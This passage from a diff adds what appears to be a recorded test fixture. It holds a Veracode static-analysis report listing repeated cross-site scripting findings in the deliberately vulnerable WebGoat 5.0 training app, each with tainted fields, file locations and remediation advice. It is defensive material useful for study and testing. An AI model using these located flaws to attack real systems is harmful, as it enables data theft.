+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
